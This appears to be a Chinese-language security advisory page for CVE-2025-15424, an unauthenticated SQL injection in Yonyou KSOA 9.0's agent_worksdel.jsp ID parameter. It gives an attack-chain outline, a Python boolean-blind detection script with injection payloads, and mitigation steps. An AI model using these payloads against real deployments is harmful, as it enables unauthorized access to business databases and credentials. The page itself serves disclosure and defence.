IPBUF安全漏洞报告
English
CVE-2025-15424 CVSS 7.3 高危

CVE-2025-15424 Yonyou KSOA 9.0 SQL注入漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15424
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
用友KSOA 9.0 (Yonyou KSOA)

相关标签

SQL注入用友KSOACVE-2025-15424高危漏洞JSP无需认证远程利用企业信息系统

漏洞概述

CVE-2025-15424是用友时空企业信息集成系统KSOA平台9.0版本中存在的一个高危SQL注入漏洞。该漏洞位于/worksheet/agent_worksdel.jsp文件中的HTTP GET参数处理器中,攻击者可以通过操纵ID参数进行SQL注入攻击。由于该漏洞无需认证即可远程利用,且CVSS评分达到7.3分(高危级别),对系统安全性构成严重威胁。攻击者利用此漏洞可未经授权访问数据库,可能导致敏感数据泄露、数据库篡改,甚至可能在某些配置下执行系统命令。该漏洞已于2026年1月2日公开披露,厂商用友尚未对此做出响应或发布修复补丁。鉴于漏洞利用代码已公开,建议用户立即采取临时缓解措施并关注官方安全更新。

技术细节

该漏洞存在于用友KSOA 9.0的/worksheet/agent_worksdel.jsp文件中,是一个典型的GET参数SQL注入漏洞。漏洞根源在于程序对用户输入的ID参数未进行充分的输入验证和SQL语句参数化处理。当攻击者构造恶意的SQL语句作为ID参数值时,恶意SQL代码将被直接拼接到数据库查询语句中并执行。攻击者可通过HTTP GET请求直接访问该接口,利用UNION SELECT、布尔盲注、时间盲注等技术提取数据库中的敏感信息,包括用户凭证、业务数据、系统配置等。由于该接口无需任何认证即可访问(PR:N),任何能够访问服务器HTTP服务的攻击者都可以尝试利用此漏洞。CVSS向量显示攻击复杂度低(AC:L),攻击者无需特殊权限或用户交互即可成功实施攻击。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标系统使用的用友KSOA 9.0版本,确认/worksheet/agent_worksdel.jsp接口存在
STEP 2
步骤2
漏洞探测:向目标URL发送带有测试SQL注入载荷的HTTP GET请求(如ID=1' AND 1=1),观察响应差异
STEP 3
步骤3
注入验证:通过布尔盲注或联合查询技术验证SQL注入漏洞,确认数据库类型和版本信息
STEP 4
步骤4
数据提取:利用UNION SELECT或时间盲注等技巧逐步提取数据库中的敏感信息,如用户表、密码哈希等
STEP 5
步骤5
权限提升:基于获取的数据库凭据尝试横向移动,可能获取系统级访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15424 PoC - Yonyou KSOA SQL Injection # Target: /worksheet/agent_worksdel.jsp # Parameter: ID def exploit_sqli(target_url, payload): """ SQL Injection PoC for CVE-2025-15424 Tests for boolean-based blind SQL injection """ params = { 'ID': payload } try: response = requests.get(target_url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_sqli(target_url): """Test basic SQL injection vulnerability""" # True condition - should return normal response true_payload = "1' AND 1=1 -- " # False condition - should return different response false_payload = "1' AND 1=2 -- " print(f"[*] Testing CVE-2025-15424 on {target_url}") resp_true = exploit_sqli(target_url, true_payload) resp_false = exploit_sqli(target_url, false_payload) if resp_true and resp_false: if resp_true.text != resp_false.text: print("[+] Vulnerability confirmed! Different responses for true/false conditions") return True else: print("[-] Vulnerability not detected or parameters need adjustment") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15424.py <target_url>") print("Example: python cve-2025-15424.py http://target.com/worksheet/agent_worksdel.jsp") sys.exit(1) target = sys.argv[1] test_basic_sqli(target)

影响范围

用友KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络层访问控制限制对/worksheet/agent_worksdel.jsp接口的访问,仅允许可信IP地址访问;2) 在Web应用前部署WAF并配置SQL注入防护规则;3) 临时禁用或删除存在漏洞的接口;4) 加强对数据库和应用的监控日志审计,及时发现异常查询行为;5) 考虑部署数据库防火墙或启用数据库审计功能,监控可疑SQL执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表